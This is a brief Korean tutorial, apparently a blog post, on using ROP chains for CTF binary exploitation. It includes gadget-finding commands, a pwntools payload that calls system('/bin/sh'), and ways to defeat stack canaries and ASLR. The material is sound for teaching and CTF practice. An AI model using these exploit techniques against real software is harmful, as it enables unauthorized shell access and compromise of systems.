본문으로 건너뛰기

ROP Chain: 스택 카나리아를 우회하는 방법

현대 바이너리는 NX(Non-Executable Stack)와 Stack Canary로 무장하고 있다.
그래서 나온 게 Return-Oriented Programming (ROP) — 새 코드를 주입하는 대신, 이미 존재하는 코드 조각을 재조합해 공격한다.

핵심 개념

Gadget: ret 명령어로 끝나는 짧은 코드 조각.

pop rdi ; ret
pop rsi ; ret
syscall ; ret

이 gadget들을 스택에 연결해서 원하는 동작을 만든다.
인자 세팅 → 함수 호출 → 쉘 획득. 이게 전부다.

실전 흐름

1단계 — Gadget 찾기

ROPgadget --binary ./vuln --rop
ropper -f ./vuln

2단계 — Payload 구성 (pwntools)

from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)

rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(elf.search(b'/bin/sh')))
rop.raw(elf.plt['system'])

payload = b'A' * offset + rop.chain()

3단계 — Canary 우회

카나리 값은 %p 포맷 스트링 버그나 memory leak으로 덤핑 가능.
leak → overwrite → ROP chain 순서로 붙인다.

ASLR이 켜져 있다면?

ret2plt 또는 ret2libc 기법으로 libc 베이스 주소를 먼저 leak한다.

puts(got['puts']) → libc base 계산 → system("/bin/sh") 호출

빠른 참고

  • checksec --file=./vuln — 보호 기법 확인
  • pwndbg + cyclic — offset 찾기
  • one_gadget ./libc.so — 원샷 쉘

💡 CTF pwn 문제의 70%는 ROP 변형이다. gadget 찾는 눈만 길러도 반은 먹고 들어간다.